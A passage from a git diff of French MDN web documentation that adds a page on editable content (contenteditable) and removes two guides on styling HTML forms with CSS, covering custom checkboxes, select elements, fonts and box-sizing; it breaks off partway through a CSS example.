
Si ces éléments étaient retirés, ce fragment de code HTML serait toujours du HTML valide.

+ +
<p>Bonjour <em>tout</em> le monde.</p>
+
+ +

Autres modèles de contenu

+ +

Racine de sectionnement.

diff --git a/files/fr/web/guide/html/editable_content/index.html b/files/fr/web/guide/html/editable_content/index.html new file mode 100644 index 0000000000..01e1691ed1 --- /dev/null +++ b/files/fr/web/guide/html/editable_content/index.html @@ -0,0 +1,36 @@ +--- +title: Contenu éditable +slug: Web/HTML/Contenu_editable +translation_of: Web/Guide/HTML/Editable_content +--- +

Introduction

+

Chaque élément du HTML5 peut être éditable. Cette fonctionnalité a été introduite longtemps auparavant mais a maintenant été standarisée avec WHATWG (voir la spécification HTML actuelle). Avec des gestionnaires d'événements JavaScript, vous pouvez transformer votre page Web en un éditeur de texte, complet et rapide.

+

Compatibilité

+

Le contenu éditable est entièrement compatible avec les navigateurs actuels :

+
    +
  • Firefox 3.5+
    • +
  • Chrome 6.0+
    • +
  • Internet Explorer 6.0+
    • +
  • Safari 3.2+
    • +
  • Opera 8+
    • +
  • iOS Safari 5.0+
    • +
  • Android Browser 3.0+
    • +
+

Ce n'est pas encore supporté par Opera Mini et Opera Mobile.

+

Comment ça marche ?

+

Fixez l'attribut contenteditable à true dans votre élément HTML. Ça peut être fait dans quasiment tous les éléments HTML.

+

Exemples

+

Un exemple simple :

+
<!DOCTYPE html>
+<html>
+  <body>
+    <div contenteditable="true">
+      Ce texte peut être édité par l'utilisateur.
+    </div>
+  </body>
+</html>
+

Vous pouvez observer un exemple concret intégrant JavaScript utilisant LocalStorage ici. Le code source est disponible ici.

+

Voir aussi

+

Comment interagir avec le contenu (style proche de l'ancienne API Internet Explorer) ou encore ici.

+
+ {{ languages({ "ja": "ja/HTML/Content_Editable", "zh-cn": "zh-cn/HTML/Content_Editable" }) }}
diff --git a/files/fr/web/guide/html/formulaires/advanced_styling_for_html_forms/index.html b/files/fr/web/guide/html/formulaires/advanced_styling_for_html_forms/index.html deleted file mode 100644 index 6d6a68bd4c..0000000000 --- a/files/fr/web/guide/html/formulaires/advanced_styling_for_html_forms/index.html +++ /dev/null @@ -1,469 +0,0 @@ ---- -title: Composition avancée des formulaires HTML -slug: Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms -tags: - - Avancé - - CSS - - Exemple - - Formulaires - - Guide - - HTML - - Web -translation_of: Learn/Forms/Advanced_form_styling ---- -
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets", "Web/Guide/HTML/Formulaires")}}
- -

Dans cet article, nous verrons comment utiliser les CSS avec les formulaires HTML pour modifier le style de certains widgets difficiles à personnaliser. Comme nous l'avons vu dans l'article précédent, les champs texte et les boutons sont parfaitement compatibles avec les CSS. Maintenant, nous allons approfondir la part sombre de la composition stylistique des formulaires HTML.

- -

Avant d'aller plus loin, faisons un rappel pour deux types de widgets de formulaires :

- -
-
la brute
-
Éléments, dont le style n'est que difficilement modifiable, demandant des astuces complexes, nécessitant parfois de faire appel à une connaissance avancée des CSS3.
-
le truand
-
Oubliez l'emploi des CSS pour modifier le style de ces éléments. Au mieux, vous pourrez faire des petites choses, mais elle ne seront pas reproductibles sur d'autres navigateurs ; il ne sera jamais possible de prendre un contrôle total de leur apparence.
-
- -

Possibilités d'expression avec les CSS

- -

Le problème fondamental avec les widgets de formulaire, autres que champs de texte et boutons, est que dans de nombreux cas, le CSS ne possède pas assez d'expressions pour styliser correctement les widgets complexes.

- -

L'évolution récente du HTML et des CSS a étendu l'expressivité des CSS :

- -
    -
  • CSS 2.1 était très limité et n'offrait que trois pseudo-classes : - -
      -
    • {{cssxref(":active")}}
      • -
    • {{cssxref(":focus")}}
      • -
    • {{cssxref(":hover")}}
      • -
    -
    • -
  • CSS Selector Level 3 a ajouté quelques nouvelles pseudo-classes relatives aux formulaires HTML : -
      -
    • {{cssxref(":enabled")}}
      • -
    • {{cssxref(":disabled")}}
      • -
    • {{cssxref(":checked")}}
      • -
    • {{cssxref(":indeterminate")}}
      • -
    -
    • -
  • CSS Basic UI Level 3 a ajouté quelques autres pseudo-classes pour décrire l'état du widget : -
      -
    • {{cssxref(":default")}}
      • -
    • {{cssxref(":valid")}}
      • -
    • {{cssxref(":invalid")}}
      • -
    • {{cssxref(":in-range")}}
      • -
    • {{cssxref(":out-of-range")}}
      • -
    • {{cssxref(":required")}}
      • -
    • {{cssxref(":optional")}}
      • -
    • {{cssxref(":read-only")}}
      • -
    • {{cssxref(":read-write")}}
      • -
    -
    • -
  • CSS Selector Level 4 actuellement en développement actif et objet de grandes discussions ne prévoit pas d'ajouter grand‑chose pour améliorer les formulaires : -
      -
    • {{cssxref(":user-error")}} qui est juste une amélioration de la pseudo‑classe {{cssxref(":invalid")}}.
      • -
    -
    • -
- -

Voilà un bon début, mais il y a deux problèmes. Primo, certains navigateurs ne mettent pas en œuvre des fonctionnalités au-delà de CSS 2.1. Secundo, ils ne sont tout simplement pas assez perfectionnés pour styliser des widgets complexes, comme les sélecteurs de date.

- -

Il y a quelques expérimentations par les fournisseurs de navigateurs pour étendre l'expressivité des CSS sur les formulaires ; dans certains cas, il est bon de savoir ce qui est disponible..

- -
-

Avertissement : Même si ces expérimentations sont intéressantes, elles ne sont pas normées, ce qui signifie qu'elles ne sont pas fiables. Si vous les utilisez (et vous ne devriez probablement pas le faire souvent), vous le faites à vos propres risques et périls ; vous faites quelque chose qui peut être mauvais pour le Web en utilisant des propriétés non standard.

-
- - - -

Contrôle de l'apparence des éléments de formulaire

- -

Les navigateurs fondés sur WebKit- (Chrome, Safari) et Gecko- (Firefox) offrent les meilleures possibilités de personnalisation des widgets HTML. Ils sont aussi disponibles sur plateforme croisées, et donc ils nécessitent un mécanisme de bascule entre les widgets de « look and feel » natif  et widget stylistiquement composables par l'utilisateur.

- -

À cette fin, ils utilisent une propriété propriétaire : {{cssxref("-webkit-appearance")}} ou {{cssxref("-moz-appearance")}}. Ces propriétés ne sont pas normées et ne doivent pas être utilisées. En fait, elles se comportent même différemment entre WebKit et Gecko. Cependant, il y a une valeur qu'il est bon de connaître : none. Avec cette valeur, vous êtes en mesure d'obtenir un contrôle (presque total) sur le style des widgets donnés.

- -

Donc, si vous avez du mal à appliquer un style à un élément, essayez d'utiliser ces propriétés propriétaires. Nous verrons quelques exemples ci-dessous, mais le cas d'utilisation le plus connu de cette propriété est relatif au style des champs de recherche sur les navigateurs WebKit :

- -
<style>
-input[type=search] {
-    border: 1px dotted #999;
-    border-radius: 0;
-
-    -webkit-appearance: none;
-}
-</style>
-
-<form>
-    <input type="search">
-</form>
- -

{{EmbedLiveSample("Contrôle_de_l'apparence_des_éléments_de_formulaire", 250, 40)}}

- -
-

Note : Il est toujours difficile de prédire l'avenir, quand on parle de techniques Web. L'extension des possibilités d'expression des CSS est difficile ; il y a un travail exploratoire avec d'autres spécifications, telles que Shadow DOM qui offrent certaines perspectives. La quête du formulaire de style totalement composable est loin d'être terminée.

-
- -

Exemples

- -

Cases à cocher et boutons radio

- -

Composer le style d'une case à cocher ou d'un bouton radio conduit à un certain désordre en soi. Par exemple, la taille des cases à cocher et des boutons radio n'est pas vraiment destinée à être modifiée et les navigateurs peuvent réagir très différemment, si vous essayez de le faire.

- -

Une simple case à cocher

- -

Considérons la case à cocher suivante :

- -
<span><input type="checkbox"></span>
- -
span {
-    display: inline-block;
-    background: red;
-}
-
-input[type=checkbox] {
-    width : 100px;
-    height: 100px;
-}
- -

Voici les différentes façons dont divers navigateurs gèrent cela :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavigateurRendu
Firefox 57 (Mac OSX)
Firefox 57 (Windows 10)
Chrome 63 (Mac OSX)
Chrome 63 (Windows 10)
Opera 49 (Mac OSX)
Internet Explorer 11 (Windows 10)
Edge 16 (Windows 10)
- -

Un exemple un peu plus compliqué

- -

Comme Opera et Internet Explorer n'ont pas de fonctionnalités telles que {{cssxref("-webkit-appearance")}} ou {{cssxref("-moz-appearance")}}, leur utilisation n'est pas appropriée. Heureusement, nous sommes dans un cas où les CSS disposent d'assez d'expressions pour trouver des solutions. Prenons un exemple courant :

- -
<form>
-  <fieldset>
-    <p>
-      <input type="checkbox" id="first" name="fruit-1" value="cerise">
-      <label for="first">J'aime les cerises</label>
-    </p>
-    <p>
-      <input type="checkbox" id="second" name="fruit-2" value="banane" disabled>
-      <label for="second">Je ne peux pas aimer la banane</label>
-    </p>
-    <p>
-      <input type="checkbox" id="third" name="fruit-3" value="fraise">
-      <label for="third">J'aime les fraises</label>
-    </p>
-  </fieldset>
-</form>
- -

avec une composition stylistique élémentaire :

- -
body {
-  font: 1em sans-serif;
-}
-
-form {
-  display: inline-block;
-
-  padding: 0;
-  margin : 0;
-}
-
-fieldset {
-  border : 1px solid #CCC;
-  border-radius: 5px;
-  margin : 0;
-  padding: 1em;
-}
-
-label {
-  cursor : pointer;
-}
-
-p {
-  margin : 0;
-}
-
-p+p {
-  margin : .5em 0 0;
-}
- -

Maintenant composons pour avoir une case à cocher personnalisée.

- -

Le plan consiste à remplacer la case à cocher native par une image de notre choix. Tout d'abord, nous devons préparer une image avec tous les états requis pour une case à cocher. Ces états sont : non coché, coché, non coché désactivé et coché désactivé. Cette image sera utilisée comme fantôme des CSS :

- -

Check box CSS Sprite

- -

Commençons par masquer les cases à cocher d'origine. Nous les déplacerons simplement à l'extérieur de la fenêtre de visualisation de la page. Il y a deux choses importantes à considérer ici :

- -
    -
  • N'utilisez pas display:none pour masquer la case à cocher, car comme nous le verrons ci-dessous, nous avons besoin que la case à cocher soit disponible pour l'utilisateur. Avec display:none, la case à cocher n'est plus accessible à l'utilisateur, ce qui signifie qu'il est impossible de la cocher ou de la décocher.
    • -
  • Nous utiliserons quelques sélecteurs CSS3 pour réaliser notre style. Afin de prendre en charge les navigateurs existants, nous pouvons préfixer tous nos sélecteurs avec la pseudo-classe {{cssxref(":root")}}. Dans l'état actuel des implémentations, tous les navigateurs prenant en charge ce dont nous avons besoin prenent en charge également la pseudo-classe {{cssxref(":root")}}, mais d'autres ne le font pas. Ceci est un exemple de moyen pratique pour filtrer l'ancien Internet Explorer. Ces anciens navigateurs verront la case à cocher normale tandis que les navigateurs modernes verront la case à cocher personnalisée.
    • -
- -
:root input[type=checkbox] {
-  /* les cases à cocher d'origine sont placées en dehors de la vue */
-  position: absolute;
-  left: -1000em;
-}
- -

Maintenant que nous sommes débarrassés des cases à cocher natives, ajoutons la nôtre. Pour cela, nous utiliserons le pseudo élément {{cssxref(":before")}} de l'élément {{HTMLElement("label")}} qui suit la case à cocher originale. Ainsi, dans le sélecteur suivant, nous utilisons le sélecteur d'attributs pour cibler la case à cocher, puis nous utilisons le sélecteur de parents adjacent pour cibler le label suivant la case à cocher originale. Enfin, nous accédons au pseudo-élément {{cssxref(":before")}} et le styliser pour qu'il affiche notre case à cocher personnalisée non cochée.

- -
:root input[type=checkbox] + label:before {
-  content: "";
-  display: inline-block;
-  width  : 16px;
-  height : 16px;
-  margin : 0 .5em 0 0;
-  background: url("https://developer.mozilla.org/files/4173/checkbox-sprite.png") no-repeat 0 0;
-
-/* Ce qui suit est utilisé pour ajuster la position des cases à cocher
-   sur la ligne de base suivante */
-
-  vertical-align: bottom;
-  position: relative;
-  bottom: 2px;
-}
- -

Nous utilisons les pseudo-classes {{cssxref(":checked")}} et {{cssxref(":disabled")}} sur la case à cocher d'origine pour changer l'état de notre case à cocher personnalisée en conséquence. Comme nous utilisons un fantôme des CSS, tout ce que nous avons à faire est de changer la position de l'arrière-plan.

- -
:root input[type=checkbox]:checked + label:before {
-  background-position: 0 -16px;
-}
-
-:root input[type=checkbox]:disabled + label:before {
-  background-position: 0 -32px;
-}
-
-:root input[type=checkbox]:checked:disabled + label:before {
-  background-position: 0 -48px;
-}
- -

Une dernière chose (mais très importante) : lorsqu'un utilisateur utilise le clavier pour naviguer d'un widget à un autre, chaque widget qui reçoit le focus doit être marqué visuellement. Comme nous cachons les cases à cocher natives, nous devons implémenter cette fonctionnalité nous-mêmes : l'utilisateur doit pouvoir voir où elles se trouvent dans le formulaire. Le CSS suivant met en œuvre le focus sur les cases à cocher personnalisées.

- -
:root input[type=checkbox]:focus + label:before {
-  outline: 1px dotted black;
-}
- -

Voyez directement ici le résultat :

- -

{{EmbedLiveSample("Un_exemple_un_peu_plus_compliqué", 250, 130)}}

- -

Gérer le cauchemar <select>

- -

L'élément {{HTMLElement("select")}} est considéré comme un widget « truand », car il est impossible de lui composer un style cohérent entre les plateformes. Toutefois, certaines choses restent possibles. Plutôt qu'une longue explication, voyons un exemple :

- -
<select>
-  <option>Cerise</option>
-  <option>Banane</option>
-  <option>Fraise</option>
-</select>
- -
select {
-  width   : 80px;
-  padding : 10px;
-}
-
-option {
-  padding : 5px;
-  color   : red;
-}
- -

Le tableau suivant montre comment divers navigateurs gèrent cela, dans deux cas. Les deux premières colonnes ne sont que l'exemple ci-dessus. Les deux colonnes suivantes utilisent des CSS personnalisés supplémentaires, pour avoir plus de contrôle sur l'apparence du widget :

- -
select, option {
-  -webkit-appearance : none; /* Pour avoir le contrôle de l'apparence sur WebKit/Chromium */
-  -moz-appearance : none; /* Pour avoir le contrôle sur l'apparence sur Gecko */
-
-  /* Pour avoir le contrôle sur l'apparence et sur Trident (IE)
-     Notez que cela fonctionne aussi sur Gecko et a des effets limités sur WebKit */
-  background : none;
-}
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NavigateurRendu classiqueRendu travaillé
ferméouvertferméouvert
Firefox 57 (Mac OSX)
Firefox 57 (Windows 10)
Chrome 63 (Mac OSX)
Chrome 63 (Windows 10)
Opera 49 (Mac OSX)
IE11 (Windows 10)
Edge 16 (Windows 10)
- -

Comme vous pouvez le voir, malgré l'aide des propriétés -*-appearance, il reste quelques problèmes :

- -
    -
  • La propriété {{cssxref("padding")}} est gérée de manière incohérente entre les divers systèmes d'exploitation et navigateurs.
    • -
  • Internet Explorer ancien ne permet pas un style sans à-coups.
    • -
  • Firefox ne dispose d'aucun moyen pour rendre la flèche de déroulement.
    • -
  • Si vous voulez donner un style aux éléments {{HTMLElement("option")}} dans la liste déroulante, le comportement de Chrome et Opera varie d'un système à l'autre.
    • -
- -

De plus, avec notre exemple, nous n'utilisons que trois propriétés CSS. Imaginez le désordre quand on considère encore plus de propriétés CSS. Comme vous pouvez le voir, les CSS ne sont pas adaptées pour changer l'apparence et la convivialité de ces widgets de manière cohérente, mais elles vous permettent quand même d'ajuster certaines choses. Pour autant que vous soyez prêt à vivre avec des différences d'un navigateur et d'un système d'exploitation à l'autre.

- -

Nous vous aiderons à comprendre quelles sont les propriétés qui conviennent dans l'article suivant : Tableau de compatibilité des propriétés entre les widgets de formulaire.

- -

Vers des formulaires plus sympas : bibliothèques utiles et « polyfill » (prothèses d'émulation)

- -

Bien que les CSS soient assez expressives pour les cases à cocher et les boutons radio, c'est loin d'être vrai pour les widgets plus avancés. Même si certaines choses sont possibles avec l'élément {{HTMLElement("select")}}, le widget file ne peut pas être stylisé du tout. Il en est de même pour le sélecteur de date, etc.

- -

Si vous souhaitez avoir un contrôle total sur les widgets de formulaire, vous n'avez pas d'autre choix que de compter sur JavaScript. Dans l'article Comment créer des widgets de formulaires personnalisés, nous voyons comment le faire nous-mêmes, mais il existe des bibliothèques très utiles pouvant vous aider :

- -
    -
  • Uni-form est un canevas de standardisation du balisage des formulaires, en le composant stylistiquement avec des CSS. Il offre également quelques fonctionnalités supplémentaires lorsqu'il est utilisé avec jQuery, mais c'est optionnel.
    • -
  • Formalize est une extension des canevas JavaScript courants (tels que jQuery, Dojo, YUI, etc.) aidant à rationaliser et personnaliser les formulaires.
    • -
  • Niceforms est une méthode JavaScript autonome fournissant une personnalisation complète des formulaires Web. Vous pouvez utiliser certains thèmes intégrés ou créer les vôtres.
    • -
- -

Les bibliothèques suivantes ne visent pas seulement les formulaires, mais elles ont des fonctionnalités très intéressantes pour les traiter :

- -
    -
  • jQuery UI offre des widgets avancés et personnalisables très intéressants, comme les sélecteurs de date (avec une attention particulière pour l'accessibilité).
    • -
  • Twitter Bootstrap peut être très utile si vous voulez normaliser vos formulaires.
    • -
  • WebShim est un énorme outil pouvant vous aider à gérer la prise en charge des navigateurs HTML5. La partie formulaires Web peut être très utile.
    • -
- -

Rappelez-vous que lier CSS et JavaScript peut avoir des effets collatéraux. Donc, si vous choisissez d'utiliser l'une de ces bibliothèques, vous devez toujours prévoir des solutions de repli dans les feuilles de style en cas d'échec du script. Il y a de nombreuses raisons pour lesquelles les scripts peuvent échouer, surtout dans le monde des mobiles et vous devez concevoir votre site Web ou votre application pour traiter ces cas le mieux possible.

- -

Conclusion

- -

 

- -

Bien qu'il y ait encore des points noirs avec l'utilisation des CSS dans les formulaires HTML, il y a souvent moyen de les contourner. Il n'existe pas de solution générale et nette, mais les navigateurs modernes offrent de nouvelles possibilités. Pour l'instant, la meilleure solution est d'en savoir plus sur la façon dont les divers navigateurs prennent en charge les CSS, telles qu'appliquées aux widgets de formulaires HTML.

- -

Dans le prochain article de ce guide, nous explorerons comment les différents widgets de formulaire HTML prennent en charge  les plus importantes propriétés des CSS : Tableau de compatibilité des propriétés entre widgets de formulaire.

- -

Voir aussi

- - - -

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets", "Web/Guide/HTML/Formulaires")}}

- -

Dans ce module

- - diff --git a/files/fr/web/guide/html/formulaires/apparence_des_formulaires_html/index.html b/files/fr/web/guide/html/formulaires/apparence_des_formulaires_html/index.html deleted file mode 100644 index fbdafe47d4..0000000000 --- a/files/fr/web/guide/html/formulaires/apparence_des_formulaires_html/index.html +++ /dev/null @@ -1,391 +0,0 @@ ---- -title: Mise en forme des formulaires HTML -slug: Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML -tags: - - CSS - - Exemple - - Formulaires - - Guide - - HTML - - Intermédiaire - - Web -translation_of: Learn/Forms/Styling_web_forms ---- -
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}
- -
-

Dans cet article, nous allons apprendre comment utiliser les CSS avec les formulaires HTML pour (espérons-le) améliorer leur apparence. Étonnamment, ceci peut être délicat. Pour des raisons techniques et historiques, les widgets de formulaires ne s'allient pas très bien avec CSS. À cause de ces difficultés, de nombreux développeurs préfèrent construire leurs propres widgets HTML pour avoir plus de maîtrise sur leur apparence. Toutefois, avec les navigateurs modernes, les web designers ont de plus en plus d'emprise sur l'apparence de leurs formulaires. Voyons cela de plus près.

-
- -

Pourquoi est-ce si difficile de modifier l'apparence des formulaires avec CSS ?

- -

Dans la jeunesse du Web — aux alentours de 1995 — les formulaires ont été ajoutés au HTML dans la spécification HTML 2. À cause de la complexité des formulaires, ceux qui les mettaient en œuvre ont préféré s'appuyer sur le système d'exploitation sous‑jacent pour les gérer et les afficher.

- -

Quelques années plus tard, les CSS ont été créées et ce qui était une nécessité technique — c'est-à-dire, utiliser des widgets natifs pour les contrôles de formulaire — est devenu un préalable stylistique. Dans la jeunesse des CSS, l'apparence des formulaires n'était pas une priorité.

- -

Comme les utilisateurs étaient habitués à l'apparence visuelle de leurs plateformes respectives, les fournisseurs de navigateurs étaient réticents à rendre possible la modification de l'apparence des formulaires. Et pour être honnête, il est toujours extrêmement difficile de reconstruire tous les contrôles pour que leur apparence soit modifiable.

- -

Même aujourd'hui, aucun des navigateurs n'a entièrement mis en œuvre les CSS 2.1. Avec le temps, les fournisseurs de navigateurs ont toutefois amélioré la compatibilité des CSS avec les éléments de formulaires, et bien que ce soit de mauvaise réputation pour leur utilisation, vous pouvez désormais modifier l'apparence des formulaires HTML.

- -

Tous les widgets ne sont pas égaux devant les CSS

- -

Actuellement, quelques difficultés subsistent dans l'utilisation des CSS avec les formulaires. Ces problèmes peuvent être classés en trois catégories.

- -

Le bon

- -

L'apparence de certains éléments peut être modifiée sans poser beaucoup de problèmes suivant les diverses plateformes. Ceci inclut les éléments structurels suivants :

- -
    -
  1. {{HTMLElement("form")}}
    2. -
  2. {{HTMLElement("fieldset")}}
    3. -
  3. {{HTMLElement("label")}}
    4. -
  4. {{HTMLElement("output")}}
    5. -
- -

Ceci inclut aussi tous les widgets de champs textuels (qu'ils soient mono ou multi‑lignes), ainsi que les boutons.

- -

La brute

- -

L'apparence de certains éléments ne peut être modifiée que rarement et peut nécessiter quelques astuces complexes, et parfois une connaissance avancée des CSS3.

- -

Ceci inclut l'élément {{HTMLElement("legend")}}. Ce dernier ne peut pas être positionné correctement sur toutes les plateformes. De plus, l'apparence des cases à cocher et des boutons radio ne peut pas être modifiée directement. Toutefois, grâce à CSS3 c'est possible de contourner cette limitation. L'apparence du contenu {{htmlattrxref("placeholder", "input")}} ne peut pas être modifiée d'une manière standard. Mais tous les navigateurs qui sont compatible avec cet attribut ont aussi implémenté des pseudo-classes ou pseudo-élément propriétaires qui permettent de modifier son apparence.

- -

Nous allons voir comment gérer ces cas particuliers dans l'article Apparence avancée des formulaires HTML.

- -

Le truand

- -

L'apparence de certains éléments n'est tout bonnement pas modifiable en utilisant les CSS. Ceci inclut toutes les interfaces avancées comme les intervalles, la sélection de couleur ou de date ainsi que les éléments déroulants, y compris les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, {{HTMLElement("optgroup")}} et {{HTMLElement("datalist")}}. La sélection de fichiers est aussi connue pour ne pas pouvoir changer d'apparence. Les nouveaux éléments {{HTMLElement("progress")}} et {{HTMLElement("meter")}} font aussi partie de cette catégorie.

- -

Le principal problème avec tous ces widgets vient du fait que leur structure est très complexe et les CSS n'ont pas assez d'expressions pour décrire et modifier l'apparence des éléments. Si vous souhaitez modifier l'apparence des widgets vous devez utiliser JavaScript pour construire une arborescence DOM qui vous permet de modifier l'apparence. Nous explorons cette possibilité dans l'article Comment créer des widgets de formulaire personnalisés.

- -

Compositions stylistiques de base

- -

Pour changer l'apparence des éléments facilement modifiables avec les CSS, vous ne devriez pas rencontrer de problèmes, puisqu'ils se comportent comme n'importe quel autre élément HTML. Toutefois, les feuilles de style peuvent ne pas être cohérentes entre navigateurs, il y a donc un certain nombre d'astuces à connaître.

- -

Champs de recherche

- -

Les boîtes de recherche sont le seul type de champ textuel dont l'apparence peut être un peu complexe à modifier. Sur les navigateurs utilisant WebKit (Chrome, Safari, etc.) vous devrez utiliser la propriété CSS propriétaire -webkit-appearance. Nous allons aborder le sujet plus en détails dans dans l'article : Apparence avancée des formulaires HTML.

- -

Exemple

- -
<form>
-  <input type="search">
-</form>
-
- -
input[type=search] {
-  border: 1px dotted #999;
-  border-radius: 0;
-
-  -webkit-appearance: none;
-}
- -

This is a screenshot of a search filed on Chrome, with and without the use of -webkit-appearance

- -

Comme vous pouvez le voir sur la capture d'écran pour Chrome, les deux champs ont une bordure, mais le premier champ n'utilise pas la propriété -webkit-appearance tandis que le second a recours à la propriété -webkit-appearance:none. La différence est notable.

- -

Texte et polices de caractères

- -

Les fonctionnalités liées au texte et aux polices de caractères dans les CSS peuvent être utilisées facilement avec n'importe quel widget (et oui, vous pouvez utiliser {{cssxref("@font-face")}} avec les formulaires). Toutefois, le comportement des navigateurs est souvent incompatible. Par défaut, certains éléments comme {{cssxref("font-family")}} {{cssxref("font-size")}} n'héritent pas de leurs parents. De nombreux navigateurs utilisent les valeurs du système d'exploitation. Pour que l'apparence des formulaires soit cohérente avec le reste de votre contenu, vous pouvez ajouter les règles suivantes à votre feuille de style :

- -
button, input, select, textarea {
-  font-family : inherit;
-  font-size   : 100%;
-}
- -

La capture d'écran ci-dessous montre les différences. Sur la gauche il y a l'affichage par défaut de Firefox pour Mac OS X, avec les réglages de police par défaut du système. Sur la droite, les mêmes éléments avec la règle d'harmonisation utilisée.

- -

This is a screenshot of the main form widgets on Firefox on Mac OSX, with and without font harmonization

- -

Il existe un débat animé sur le fait qu'un formulaire ait une meilleure apparence en utilisant les valeurs par défaut du système d'exploitation ou en utilisant des valeurs unifiant l'apparence. C'est à vous de décider en tant que designer du site ou de l'application.

- -

Modèle de boîte

- -

Tous les champs textuels sont compatibles avec les différentes propriétés du modèle de boîte CSS ({{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} et {{cssxref("border")}}). Toutefois, comme précédemment les navigateurs s'appuient sur l'apparence par défaut du système d'exploitation. C'est votre décision de choisir si vous souhaitez intégrer vos formulaires à votre contenu du point de vue de l'apparence. Si vous souhaitez conserver l'apparence originale des blocs, vous aurez des difficultés à leur donner des dimensions cohérentes.

- -

Chacun des blocs a ses propres règles concernant les bordures, la marge intérieure (padding) et extérieure (margin). Si vous souhaitez qu'ils aient tous la même dimension, vous devrez utiliser la propriété {{cssxref("box-sizing")}} :

- -
input, textarea, select, button {
-  width : 150px;
-  margin: 0;
-
-  -webkit-box-sizing: border-box; /* Pour les anciennes versions des navigateurs WebKit */
-     -moz-box-sizing: border-box; /* Pour tous les navigateurs Gecko */
-          box-sizing: border-box;
-}
- -

This is a screenshot of the main form widgets on Chrome on Windows 7, with and without the use of box-sizing.

- -

Dans la capture d'écran ci-dessous, la colonne de gauche n'utilise pas {{cssxref("box-sizing")}}, alors que la colonne de droite utilise la propriété CSS border-box. Remarquez comment tous les éléments occupent le même espace, malgré les valeurs par défaut de la plateforme pour chacun des blocs.

- -

Positionnement

- -

Le positionnement des formulaires HTML n'est pas un problème de manière générale. Seulement deux éléments nécessitent une attention particulière :

- -

legend

- -

L'apparence de l'élément {{HTMLElement("legend")}} est facile à modifier à l'exception de sa position. Dans chaque navigateur, l'élément {{HTMLElement("legend")}} est positionné au-dessus de la bordure supérieure de son élément {{HTMLElement("fieldset")}} parent. Il n'existe aucune manière de changer sa position dans le flux HTML. Vous pouvez toutefois le positionner de manière absolue ou relative en utilisant la propriété {{cssxref("position")}}, sinon, ce sera une partie de la bordure de l'élément fieldset.

- -

Comme l'élément {{HTMLElement("legend")}} est très important pour des raisons d'accessibilité (nous parlerons des techniques pour l'assistance à propos de l'attribut  label de chaque élément de formulaire du fieldset), il est souvent associé à un intitulé, puis caché à l'accessibilité, comme ceci :

- -
HTML
- -
<fieldset>
-  <legend>Hi!</legend>
-  <h1>Hello</h1>
-</fieldset>
- -
CSS
- -
legend {
-  width: 1px;
-  height: 1px;
-  overflow: hidden;
-}
- -

textarea

- -

Par défaut, tous les navigateurs considèrent l'élément {{HTMLElement("textarea")}} comme un bloc incorporé aligné sur la ligne du bas du texte. C'est rarement ce que nous souhaitons vraiment. Pour passer d'inline-block à block, il est assez facile d'utiliser la propriété {{cssxref("display")}}. Mais si vous voulez l'utiliser en ligne, il est courant de changer son alignement vertical :

- -
textarea {
-  vertical-align: top;
-}
- -

Exemple

- -

Regardons sur un exemple concret la façon de composer un formulaire HTML. Cela aidera à clarifier nombre de ces concepts. Nous allons construire un formulaire de contact sous forme de « carte postale » :

- -

C'est ce que nous voulons réaliser avec le HTML et les CSS.

- -

HTML

- -

Le HTML n'est qu'à peine plus développé que celui de l'exemple du premier article de ce guide ; il ne comporte que quelques identifiants supplémentaires et un titre.

- -
<form>
-  <h1>à: Mozilla</h1>
-
-  <div id="from">
-    <label for="name">de :</label>
-    <input type="text" id="name" name="user_name">
-  </div>
-
-  <div id="reply">
-    <label for="mail">répondre à :</label>
-    <input type="email" id="mail" name="user_email">
-  </div>
-
-  <div id="message">
-    <label for="msg">Votre message :</label>
-    <textarea id="msg" name="user_message"></textarea>
-  </div>
-
-  <div class="button">
-    <button type="submit">Poster le message</button>
-  </div>
-</form>
- -

Organiser les ressources

- -

C'est ici que le « fun » commence ! Avant de commencer à coder, nous avons besoin de trois ressources supplémentaires :

- -
    -
  1. L'image de fond de la carte postale — téléchargez cette image et sauvegardez‑la dans le même répertoire que votre fichier HTML de travail.
    2. -
  2. Une police de machine à écrire : « Secret Typewriter » de fontsquirrel.com — téléchargez le fichier TTF dans le même répertoire que ci‑dessus.
    3. -
  3. Une police d'écriture manuelle :  « Journal » de fontsquirrel.com — téléchargez le fichier TTF dans le même répertoire que ci‑dessus.
    4. -
- -

 

- -

Les polices demandent un supplément de traitement avant de débuter :

- -
    -
  1. Allez sur le Webfont Generator de fontsquirrel.
    2. -
  2. En utilisant le formulaire, téléversez les fichiers de polices et créez un kit de polices pou le Web. Téléchargez le kit sur votre ordinateur.
    3. -
  3. Décompressez le fichier zip fourni.
    4. -
  4. Dans le contenu décompressé vous trouverez deux fichiers .woff et deux fichiers .woff2. Copiez ces quatre fichiers dans un répertoire nommé fonts, dans le même répertoire que ci‑dessus. Nous utilisons deux fichiers différents pour maximiser la compatibilité avec les navigateurs ; voyez notre article sur les Web fonts pour des informations plus détaillées.
    5. -
- -

Le CSS

- -

 

- -

Maintenant nous pouvons approfondir les CSS de l'exemple. Ajoutez tous les blocs de code affichés ci‑dessous dans un élément {{htmlelement("style")}}, l'un après l'autre.

- -

D'abord, la préparation de base en définissant les règles de {{cssxref("@font-face")}} et les base des éléments {{HTMLElement("body")}} et {{HTMLElement("form")}}.

- -
@font-face{
-  font-family : "handwriting";
-  src: url('fonts/journal-webfont.woff2') format('woff2'),
-       url('fonts/journal-webfont.woff') format('woff');
-  font-weight: normal;
-  font-style: normal;
-}
-
-@font-face{
-  font-family : "typewriter";
-  src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'),
-       url('fonts/veteran_typewriter-webfont.woff') format('woff');
-  font-weight: normal;
